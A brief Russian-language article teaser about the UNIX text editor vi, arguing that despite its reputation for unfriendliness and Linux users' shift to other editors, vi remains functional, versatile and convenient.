С Юниксом на vi Операционные системы UNIX считаются недружественными по отношению к пользователям. Одним из олицетворений этого называют редактор vi. По мере того, как набирает обороты Linux, среди его пользователей все большую популярность приобретают более привычные редакторы, и старый добрый vi начинает забываться. Тем не менее этот редактор обладает функциональностью, универсальностью и удобством работы.
Наши партнеры